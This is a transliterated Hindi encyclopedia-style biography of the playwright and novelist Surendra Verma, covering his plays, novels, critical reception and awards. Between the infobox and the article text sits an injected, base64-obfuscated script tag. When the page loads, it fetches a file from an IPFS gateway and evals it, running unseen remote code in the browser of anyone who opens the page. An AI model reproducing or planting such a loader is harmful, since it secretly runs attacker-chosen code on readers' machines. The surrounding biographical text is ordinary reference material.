सुरेन्द्र वर्मा
surendr varma
| |
poora nam | surendr varma |
janm | 7 sitambar, 1941 |
karm bhoomi | bharat |
karm-kshetr | hindi sahity |
mukhy rachanaean | 'mujhe chaand chahie', 'katana shami ka vriksh padmapankhuri ki dhar se', 'soory ki aantim kiran se soory ki pahali kiran tak', 'shakuantala ki aangoothi' adi. |
puraskar-upadhi | kendriy sangit natak akadami puraskar, 1993 |
prasiddhi | sahityakar, natakakar, upanyasakar |
nagarikata | bharatiy |
any janakari | hindi naty paranpara mean jayashankar prasad aur mohan rakesh ki sanvedana ko vikasit karane mean surenhdr varma ki pramukh bhoomika rahi hai. |
adyatan | 11:55, 12 sitambar 2021 (IST)
|
inhean bhi dekhean | kavi soochi, sahityakar soochi |
<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>surendr varma (aangrezi: Surendra Verma, janm- 7 sitambar, 1941) hindi ke agrani sahityakaroan mean se ek haian. unaka natak 'soory ki aantim kiran se soory ki pahali kiran tak' (1972) bahut prasiddh hua tha. is natak ka chh: bharatiy bhashaoan mean anuvad hua tha. sureandr varma ke natakoan mean yaun-chetana ke chitran ke sath-sath katipay shthaloan par usaki janakaanksha, vidanbana v vidroopata ka bhi prayog hua hai, jisamean vichar aur vhyavashtha vimarsh ki upasthiti hai. ve aise natakakar haian jinhhoanne kinare baithakar jivan ki thah ko nahian samajha, balki ve gahare utarate haian aur jivan ki oopari chakachauandh ke bhitar ke shyah aandhere ko bakhoobi bayaan karate haian.
parichay
surendr varma ne ek natakakar ke roop mean shuruat ki thi. unaka neshanal skool aauf drama ke sath lanba sanbandh raha hai. unake laghu kathaoan, vyangy, upanyas aur natakoan ke lagabhag pandrah shirshak prakashit hue haian. varsh 1993 mean surendr varma ko 'sangit natak akadami puraskar' aur 1996 mean 'sahity akadami puraskar' jabaki 2016 mean 'vyas samman' se sammanit kiya gaya hai.
alochana v lokapriyata
hindi naty paranpara mean jayashankar prasad aur mohan rakesh ki sanvedana ko vikasit karane mean surenhdr varma ki pramukh bhoomika rahi hai. surenhdr varma samakalinata ke siddhahasht natakakar haian. san 1972 mean prakashit "tin natak sangrah" (jisamean setubanhdh, nayak khalanayak vidooshak aur draupadi) se lekar "rati ka kangan" (2011) mean unhhoanne pauranik evan aitihasik katha-prasangoan ke madhhyam se parivartit kam-chetana ko aantarvashtu banaya hai. surenhdr varma ne san 1970 ke dashak mean vivah ke bad ke kam-sanbandh ki maryada ko to dakar prem ke moolhy ko shthapit kiya tha, to kuchh maryadavadi logoan ko yah beeemani lagi thi. ab unake dekhate yah bhi dhasak raha hai ki ab prem ke auzar ko aur dharadar karane ke lie shtri-vimarsh shtrithv ki khoj mean deh ke lie deh ki pravritti tak chal p da hai. baharahal, kam-chetana ke chitran ke lie surenhdr varma ki jitani tikhi alochana huee, utani unhean apar lokapriyata hasil huee. "kam" varnan ko hin manane vali manasikata ke virodh mean ek aisi rangabhasha ka nirman karate haian, jo "kam" ki mahaniyata ko rang-kshetr mean shthapit karati hai.[1]
vishayavastu
sureandr varma ke natakoan mean yaun-chetana ke chitran ke sath-sath katipay shthaloan par usaki janakaanksha, vidanbana v vidroopata ka bhi prayog hua hai, jisamean vichar aur vhyavashtha vimarsh ki upasthiti hai. ve aise natakakar haian jinhhoanne kinare baithakar jivan ki thah ko nahian samajha, balki ve gahare utarate haian aur jivan ki oopari chakachauandh ke bhitar ke shyah aandhere ko bakhoobi bayaan karate haian. "setubandh" natak mean prabhavati jab apani maan se yah kahati hai- "bhavana ke bina sharirik sanbhog balathkar hota hai aur maian usi ka parinam hooan". "setubandh" natak mean kalidas aur prabhavati ke parashpar prem aur yaun sanbandhoan ki avaanchhaniyata aur asamajikata se uthpanhn tanav, chhatapatahat aur bikharav janit trasadi ko rekhaankit kiya gaya hai. prabhavati apane pita ke dabav mean akar ek anachahe purush vakatak naresh se vivah kar leti hai, kiantu hriday se vah apane premi kalidas ki hi bani rahati hai.
pravarasen ki maan banakar bhi vah pathni nahian ban pati. aisi sthiti mean yadi parapurush pati aur pati parapurush ban jae to khya ashhchary! adhunik jivan ka vivah ka "kam" sanbandhi samikaran kuchh is prakar hai- "yadi purush avivahit hai to shtri vivahit, yadi purush vivahit hai to shtri avivahit". "setubandh" natak ki yahi vidanbana hai. mook gu diya ki bhaanti jivan ki avahelana karake apani samasht sookshhm bhavanaoan ko tilaanjali dene vali jaisi shtri unake natakoan ki nayika nahian hai. sureandr varma natak mean adhunikatavad ke manamane sukh ke khule khel ke prativad ka manak hai. natak ka patr mallinag uchhch shiksha grahan karane jata hai aur shodh-nirdeshika lavangalata dvara anachahe yaun-shoshan ka shikar ho jata hai. varma ji ne vishhvavidyalayoan mean chal rahe anaitik karyoan evan guru-shishhy sanbandhoan ka vikrit roop ujagar kiya hai.
kritiyaan
upanyas : aandhere se pare, mujhe chaand chahie (1993), do murdoan ke lie guladasta (2000), katana shami ka vriksh padmapankhuri ki dhar se (2010).
kahani sangrah : pyar ki batean, kitana sundar jo da.
vyangy sangrah : jahaan barish nahian.
natak : soory ki aantim kiran se soory ki pahali kiran tak (1972), draupadi (1972), nayak khalanayak vidooshak (1972), athavaan sarg (1976), chhote saiyad b de saiyad (1978), qaid-e-hayat (1983), ek dooni ek (1987), shakuantala ki aangoothi (1990), rati ka kangan (2011), tin natak.
ekaanki sangrah : niand kyoan rat bhar nahian ati (1976)
samman
- kendriy sangit natak akadami puraskar, 1993
- sahity akadami puraskar, 1996
- vyas samman, 2016
|
|
|
|
|
tika tippani aur sandarbh
- ↑ surenhdr varma ke natakoan mean jivan sanbandhoan ki trasadi (hiandi) m.sahityakunj.net. abhigaman tithi: 12 sitambar, 2021.